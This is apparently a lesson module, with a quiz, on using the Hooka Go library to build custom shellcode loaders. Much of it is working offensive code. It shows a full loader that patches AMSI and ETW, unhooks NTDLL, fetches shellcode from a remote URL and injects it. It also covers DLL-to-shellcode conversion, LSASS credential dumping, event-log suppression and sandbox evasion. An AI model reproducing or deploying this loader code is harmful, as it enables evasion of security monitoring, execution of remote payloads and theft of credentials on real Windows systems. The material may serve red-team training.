Module 7: The Hooka Go Library
Import pkg/hooka directly into your own Go projects — 40+ exported functions across 16 source files for full programmatic control.
Why Use the Library Directly?
The Hooka CLI generates complete loaders from flags, but sometimes you need fine-grained control that a CLI cannot provide. The Go library (github.com/D3Ext/Hooka/pkg/hooka) exposes every individual function — injection methods, syscall resolution, unhooking, patching, sandbox detection, and more — as importable, composable building blocks. You can combine them in custom sequences, add your own logic between steps, integrate with other Go tooling, and build entirely novel loader architectures.
Installation
Bash# Add the Hooka library to your Go module
go get github.com/D3Ext/Hooka/pkg/hooka
Import in Your Code
Goimport "github.com/D3Ext/Hooka/pkg/hooka"
All exported functions are accessed via the hooka. prefix. The package has no global state and each function is self-contained, making it safe to call in any order (though certain sequences are recommended for maximum evasion).
Package Structure: 16 Source Files
The pkg/hooka package is organized by functionality. Each source file handles a distinct category of operations:
| File | Category | Key Functions |
|---|---|---|
acg.go | ACG Guard | EnableACG() |
amsi.go | AMSI Patching | PatchAmsi(), PatchAmsiRaw() |
auxiliary.go | Shellcode I/O | GetShellcodeFromFile(), GetShellcodeFromUrl(), WriteShellcodeToFile() |
blockdlls.go | DLL Blocking | BlockDLLs(), CreateProcessBlockDLLs() |
dll.go | sRDI Conversion | ConvertDllToShellcode(), ConvertDllBytesToShellcode() |
etw.go | ETW Patching | PatchEtw(), PatchEtwRaw() |
gate.go | Halo's Gate | GetSysIdHashHalos() |
hashing.go | API Hashing | Md5(), Sha1(), Sha256(), GetFuncHashValue() |
hooks.go | Hook Detection | DetectHooks(), DetectHooksInDll() |
lsass.go | Credential Dumping | DumpLsass(), CheckHighPrivs() |
phant0m.go | Event Log Suppression | GetEventLogPid(), Phant0m() |
sandbox.go | Sandbox Detection | CheckMemory(), CheckDisk(), CheckCpu(), CheckHostname(), CheckUsername(), CheckDrivers(), CheckProcess(), CheckInternet(), AutoCheck() |
shellcode.go | Injection Methods | SuspendedProcess(), ProcessHollowing(), NtCreateThreadEx(), EnumCalcProc(), CreateFiber(), QueueUserApc(), etc. |
sleep.go | Custom Sleep | Sleep() |
syscall.go | Raw Syscalls | Syscall(), PrepareSyscall() |
unhook.go | Unhooking | ClassicUnhook(), FullUnhook(), PerunsUnhook() |
Building a Custom Loader Step by Step
The following sequence mirrors the pattern recommended by D3Ext for building a robust custom loader using the library. Each step builds on the previous, creating a layered evasion chain.
Step 1: Import the Package
Gopackage main
import (
"fmt"
"os"
"github.com/D3Ext/Hooka/pkg/hooka"
)
Step 2: Patch AMSI
Disable Antimalware Scan Interface
Goerr := hooka.PatchAmsi()
if err != nil {
fmt.Println("[!] AMSI patch failed:", err)
os.Exit(1)
}
This must happen before loading any shellcode into memory. AMSI scans buffers passed to AmsiScanBuffer — if not patched, the shellcode will be scanned during injection.
Step 3: Patch ETW
Disable Event Tracing for Windows
Goerr = hooka.PatchEtw()
if err != nil {
fmt.Println("[!] ETW patch failed:", err)
os.Exit(1)
}
ETW feeds telemetry to EDR products. Patching it reduces the visibility of subsequent operations to monitoring tools.
Step 4: Unhook NTDLL
Remove EDR Hooks
Goerr = hooka.PerunsUnhook()
if err != nil {
fmt.Println("[!] Unhook failed:", err)
os.Exit(1)
}
PerunsUnhook() (Perun's Fart) replaces the hooked .text section of ntdll.dll with a clean copy. After this call, all subsequent NTDLL function calls bypass EDR hooks. You could also use ClassicUnhook() or FullUnhook() depending on your needs.
Step 5: Get Shellcode
Load from File or URL
Go// From a local file:
shellcode, err := hooka.GetShellcodeFromFile("/path/to/shellcode.bin")
// OR from a remote URL:
shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.1.100/sc.bin")
Both functions return a []byte slice containing the raw shellcode.
Step 6: Decrypt Shellcode
Using maldev Crypto Functions
Goimport "github.com/D3Ext/maldev/crypto"
// If shellcode was AES-encrypted at build time:
decrypted, err := crypto.AesDecrypt(shellcode, key)
The maldev library provides AesDecrypt, XorEncrypt (XOR is its own inverse), Rc4Encrypt, ChaCha20Encrypt, and other cryptographic functions for decryption.
Step 7: Resolve Syscalls via Halo's Gate
Get System Service Numbers
Go// Resolve the SSN for NtCreateThreadEx using Halo's Gate
// Uses API hashing to avoid plain-text function name strings
ntCreateThreadExHash := hooka.GetFuncHashValue("NtCreateThreadEx")
sysId, err := hooka.GetSysIdHashHalos(ntCreateThreadExHash, hooka.Sha1)
GetSysIdHashHalos() walks the NTDLL export table using Halo's Gate algorithm to find the System Service Number (SSN) for the target function. The hash-based lookup avoids having the function name as a string in the binary.
Step 8: Inject
Execute the Shellcode
Go// Inject using NtCreateThreadEx with Halo's Gate syscalls
err = hooka.NtCreateThreadExHalos(decrypted)
if err != nil {
fmt.Println("[!] Injection failed:", err)
os.Exit(1)
}
The NtCreateThreadExHalos() function combines NtCreateThreadEx injection with Halo's Gate syscall resolution in a single call. Alternatively, you can use any other injection method from shellcode.go.
Complete Custom Loader
Gopackage main
import (
"fmt"
"os"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main() {
// 1. Patch AMSI
if err := hooka.PatchAmsi(); err != nil {
os.Exit(1)
}
// 2. Patch ETW
if err := hooka.PatchEtw(); err != nil {
os.Exit(1)
}
// 3. Unhook NTDLL (Perun's Fart)
if err := hooka.PerunsUnhook(); err != nil {
os.Exit(1)
}
// 4. Load shellcode from URL
sc, err := hooka.GetShellcodeFromUrl("http://192.168.1.100/sc.bin")
if err != nil {
os.Exit(1)
}
// 5. Inject via NtCreateThreadEx + Halo's Gate
if err := hooka.NtCreateThreadExHalos(sc); err != nil {
fmt.Println("[!] Injection failed:", err)
os.Exit(1)
}
}
Custom Loader Execution Flow
Disable AMSI
Disable ETW
Clean NTDLL
File or URL
AES/XOR/etc
NtCreateThreadEx
sRDI: DLL-to-Shellcode Conversion
sRDI (shellcode Reflective DLL Injection) converts a standard DLL into position-independent shellcode that loads itself. Hooka provides two functions for this:
ConvertDllToShellcode()
Go// Convert a DLL file on disk to shellcode
shellcode, err := hooka.ConvertDllToShellcode(
"payload.dll", // path to DLL file
"DllMain", // exported function to call
"", // optional function arguments
)
This reads the DLL from disk, prepends a reflective loader stub, and returns shellcode that, when executed, maps the DLL into memory and calls the specified export function.
ConvertDllBytesToShellcode()
Go// Convert DLL bytes already in memory to shellcode
dllBytes, _ := os.ReadFile("payload.dll")
shellcode, err := hooka.ConvertDllBytesToShellcode(
dllBytes, // DLL as byte slice
"DllMain", // exported function to call
"", // optional function arguments
)
Same as above but works with DLL bytes already loaded into memory. Useful when the DLL is fetched from a remote source or decrypted at runtime.
Credential Operations
The library includes functions for privilege checking and credential dumping:
Privilege Check & LSASS Dump
Go// Check if running with high privileges (admin/SYSTEM)
isAdmin, err := hooka.CheckHighPrivs()
if isAdmin {
// Dump LSASS process memory to file
err = hooka.DumpLsass("lsass.dmp")
}
CheckHighPrivs() verifies whether the current process has administrative or SYSTEM privileges. DumpLsass(output) creates a minidump of the LSASS process, which contains cached credentials. The output file can be processed offline with tools like Mimikatz or pypykatz.
Complete API Reference
All exported functions grouped by category:
Injection Methods
| Function | Technique |
|---|---|
SuspendedProcess(sc, proc) | Early Bird injection into a suspended process |
ProcessHollowing(sc, proc) | Hollow target process and replace with shellcode |
NtCreateThreadEx(sc) | Create remote thread via NtCreateThreadEx |
NtCreateThreadExHalos(sc) | NtCreateThreadEx with Halo's Gate syscalls |
EnumCalcProc(sc) | Callback injection via EnumChildWindows |
CreateFiber(sc) | Fiber-based shellcode execution |
QueueUserApc(sc, proc) | APC injection into target process |
CreateRemoteThread(sc, pid) | Classic remote thread injection |
CreateRemoteThreadHalos(sc, pid) | Remote thread with Halo's Gate |
NoRwx(sc) | No-RWX shellcode execution |
Defense Evasion
| Function | Purpose |
|---|---|
PatchAmsi() | Patch AMSI (method 1) |
PatchAmsiRaw() | Patch AMSI (method 2 — raw bytes) |
PatchEtw() | Patch ETW (method 1) |
PatchEtwRaw() | Patch ETW (method 2 — raw bytes) |
ClassicUnhook() | Classic NTDLL unhooking |
FullUnhook() | Full DLL unhooking |
PerunsUnhook() | Perun's Fart unhooking |
EnableACG() | Enable Arbitrary Code Guard |
BlockDLLs() | Block non-Microsoft DLLs (self) |
CreateProcessBlockDLLs(cmd) | Spawn process with DLL blocking |
Sandbox Detection
| Function | What It Checks |
|---|---|
CheckMemory() | RAM < 4 GB |
CheckDisk() | Disk < 100 GB |
CheckCpu() | CPU < 2 cores |
CheckHostname() | Known sandbox hostnames |
CheckUsername() | Known sandbox usernames |
CheckDrivers() | VM drivers (VMware, VBox, Hyper-V) |
CheckProcess() | Analysis tools running |
CheckInternet() | Internet connectivity |
AutoCheck() | All checks combined |
Utility Functions
| Function | Purpose |
|---|---|
GetShellcodeFromFile(path) | Read shellcode from local file |
GetShellcodeFromUrl(url) | Fetch shellcode from remote URL |
WriteShellcodeToFile(sc, path) | Write shellcode bytes to file |
ConvertDllToShellcode(dll, func, args) | Convert DLL file to shellcode (sRDI) |
ConvertDllBytesToShellcode(bytes, func, args) | Convert DLL bytes to shellcode |
DetectHooks() | Detect EDR hooks in NTDLL |
DetectHooksInDll(dll) | Detect hooks in any DLL |
GetSysIdHashHalos(hash, hashFunc) | Resolve SSN via Halo's Gate |
GetFuncHashValue(name) | Compute API hash for function name |
CheckHighPrivs() | Check for admin/SYSTEM privileges |
DumpLsass(output) | Dump LSASS process memory |
GetEventLogPid() | Find Event Log service PID |
Phant0m(pid) | Suspend Event Log threads |
Sleep() | Custom sleep for timing evasion |
Combining with the maldev Library
Advanced Encryption Chains
The maldev library (github.com/D3Ext/maldev) provides additional cryptographic functions that complement Hooka's library. You can build multi-layer encryption chains:
Goimport (
"github.com/D3Ext/Hooka/pkg/hooka"
"github.com/D3Ext/maldev/crypto"
"github.com/D3Ext/maldev/encoding"
)
// Multi-layer decryption: Base64 decode -> ChaCha20 decrypt -> XOR decode
encoded := getPayloadFromUrl()
decoded, _ := encoding.Base64Decode(encoded)
decrypted, _ := crypto.ChaCha20Decrypt(decoded, chachaKey, nonce)
shellcode, _ := crypto.XorEncrypt(decrypted, xorKey) // XOR is its own inverse
// Then inject with Hooka
hooka.NtCreateThreadExHalos(shellcode)
When to Use Library vs CLI
| Factor | CLI (hooka) | Library (pkg/hooka) |
|---|---|---|
| Speed | Fast — one command generates a complete loader | Slower — requires writing Go code |
| Customization | Limited to available flags | Full control over every step |
| Custom logic | Not possible | Add conditional checks, custom crypto, networking |
| Encryption options | AES, 3DES, RC4, XOR | Any algorithm (via maldev or custom code) |
| Injection chaining | Single technique per loader | Multiple techniques in sequence or based on conditions |
| Error handling | Generic exit on failure | Custom error handling and fallback strategies |
| Best for | Quick loader generation, testing, standard scenarios | Advanced tooling, custom C2, novel techniques |
Module 7 Quiz: The Hooka Go Library
Q1: What is the recommended order for the first three calls in a custom loader?
Q2: What does ConvertDllToShellcode() produce?
Q3: What is the primary advantage of using the Go library over the CLI?